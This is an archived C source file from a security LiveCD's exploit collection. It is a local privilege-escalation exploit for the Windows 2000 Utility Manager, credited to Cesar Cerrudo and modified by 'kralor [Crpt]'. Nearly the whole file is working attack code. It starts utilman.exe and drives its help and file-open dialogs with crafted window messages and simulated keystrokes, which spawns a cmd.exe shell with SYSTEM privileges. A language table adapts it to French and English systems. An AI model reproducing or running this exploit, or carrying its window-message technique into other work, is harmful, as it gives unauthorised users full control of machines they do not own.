home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / utilmaned1.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  180 lines
  1. /*****************************************************************************************
  2.  *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
  3.  **          [Crpt] Utility Manager exploit v1.666 modified by kralor [Crpt]            **
  4.  * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  5.  **   It gets system language and sets windows names to work on any win2k :P            **
  6.  **   Feel free to add other languages :)                                               **
  7.  **   You know where we are..                                                           **
  8.  *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
  9.  *****************************************************************************************/
  10. /* original disclaimer */
  11. //by Cesar Cerrudo  sqlsec>at<yahoo.com
  12. //Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
  13. //Gives you a shell with system privileges
  14. //If you have problems try changing Sleep() values.
  15. /* end of original disclaimer */
  16.  
  17. #include <stdio.h>
  18. #include <windows.h>
  19.  
  20. struct {
  21.  int id;
  22.  char *utilman;
  23.  char *winhelp;
  24.  char *open;
  25. } lang[] = {
  26.     { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French  */
  27.     { 0x09,"Utility manager","Windows Help","Open" }          /* English */
  28. };
  29.  
  30. void print_lang(int id)
  31. {
  32.     char *lang_list[] = {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",
  33.                  "Danish","German","Greek","English","Spanish","Finnish",
  34.                  "French","Hebrew","Hungarian","Icelandic","italian",
  35.                  "Japanese","Korean","Dutch","Norwegian","Polish",
  36.                  "Portuguese","Romanian","Russian","Croatian","Serbian",
  37.                  "Slovak","Albanian","Swedish","Thai","Turkish","Urdu",
  38.                  "Indonesian","Ukrainian","Belarusian","Slovenian",
  39.                  "Estonian","Latvian","Lithuanian","Farsi","Vietnamese",
  40.                  "Armenian","Azeri","Basque","FYRO Macedonian","Afrikaans",
  41.                  "Georgian","Faeroese","Hindi","Malay","Kazak","Kyrgyz",
  42.                  "Swahili","Uzbek","Tatar","Not supported","Punjabi",
  43.                  "Gujarati","Not supported","Tamil","Telugu","Kannada",
  44.                  "Not supported","Not supported","Marathi","Sanskrit",
  45.                  "Mongolian","Galician the best ;)","Konkani","Not supported",
  46.                  "Not supported","Syriac","Not supported","Not supported",
  47.                  "Divehi","Invariant"};
  48.     printf("%s\r\n",lang_list[id]);
  49.     return;
  50. }
  51.  
  52. int set_lang(void)
  53. {
  54.     unsigned int lang_usr,lang_sys,id;
  55.  
  56.     id=GetSystemDefaultLangID();
  57.     lang_sys=PRIMARYLANGID(id);
  58.     id=GetUserDefaultLangID();
  59.     lang_usr=PRIMARYLANGID(id);
  60.     if(lang_usr!=lang_sys) {
  61.         printf("warning: user language differs from system language\r\n\r\n");
  62.         printf("1. system : ");print_lang(lang_sys);
  63.         printf("2. user   : ");print_lang(lang_usr);printf("Select(1-2): ");
  64.         id=getch();
  65.     if(id!=49&&id!=50) {
  66.         printf("wrong choice '%c', leaving.\r\n",id);
  67.         exit(0);
  68.         }
  69.     if(id==49) {
  70.         printf("system language\r\n");
  71.         return lang_sys;
  72.         }
  73.     else
  74.         printf("user language\r\n");
  75.     }
  76.     return lang_usr;
  77. }
  78.  
  79. void banner()
  80. {
  81.     system("cls");
  82.     printf("\r\n\r\n\t[Crpt] Utility Manager exploit v1.666 modified by kralor [Crpt]\r\n");
  83.     printf("\t\t\t  base code by Cesar Cerrudo\r\n");
  84.     printf("\t\t\t   You know where we are...\r\n\r\n");
  85.     return;
  86. }
  87.  
  88. int main(int argc, char* argv[])
  89. {
  90.         HWND lHandle, lHandle2;
  91.         POINT point;
  92.         char cmd[]="%windir%\\system32\\cmd.ex?";
  93.     unsigned int i;
  94.     int lang_id;
  95.  
  96.     banner();
  97.  
  98.     printf("[+] Gathering system language information\r\n");
  99.     lang_id=set_lang();
  100.     printf("[+] OK language ...");print_lang(lang_id);
  101.  
  102.     for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)
  103.         if(lang[i].id==lang_id)
  104.             break;
  105.     if(i==sizeof(lang)/sizeof(lang[0])) {
  106.         printf("error: undefined language.\r\n");
  107.         return -1;
  108.     }
  109.     printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n");
  110.     printf("prog: %s\r\n",cmd);
  111. //  run utility manager
  112. //       system("utilman.exe /start");
  113.     WinExec("utilman.exe /start",SW_HIDE);
  114.        Sleep(1000);
  115.  
  116.     lHandle=FindWindow(NULL, lang[i].utilman);   
  117.         if (!lHandle) {
  118.         printf("error: unable to start utilman.exe.\r\n");
  119.                 return 0;
  120.         }
  121.  
  122.         PostMessage(lHandle,0x313,0,0); //=right click on the app button in the
  123.     //taskbar or Alt+Space Bar
  124.         
  125.         Sleep(100);
  126.  
  127.         SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP  0x0365  lParam must be<>NULL 
  128.         Sleep(300);
  129.         
  130.     SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN, VK_RETURN, 0);
  131.         Sleep(500);
  132.  
  133.         // find open file dialog window
  134.     lHandle = FindWindow("#32770",lang[i].open);
  135.         // get input box handle
  136.         lHandle2 = GetDlgItem(lHandle, 0x47C);
  137.         Sleep(500);
  138.  
  139.         // set text to filter listview to display only cmd.exe
  140.         SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
  141.         Sleep(800);
  142.  
  143.         // send return
  144.         SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
  145.  
  146.         //get navigation bar handle
  147.         lHandle2 = GetDlgItem(lHandle, 0x4A0);
  148.         
  149.         //send tab
  150.         SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  151.         Sleep(500);
  152.         lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  153.         //get list view handle
  154.         lHandle2 = GetDlgItem(lHandle2, 0x1);
  155.  
  156.         SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  157.         SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  158.         SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  159.         Sleep(500);
  160.  
  161.         //popup context menu
  162.         PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  163.         Sleep(1000);
  164.  
  165.         // get context menu handle
  166.         point.x =10; point.y =30;
  167.         lHandle2=WindowFromPoint(point);
  168.  
  169.         SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  170.         SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  171.         SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
  172.  
  173.         SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
  174.         Sleep(500);
  175.  
  176.     SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window
  177.     SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager
  178.         return 0;
  179. }
  180.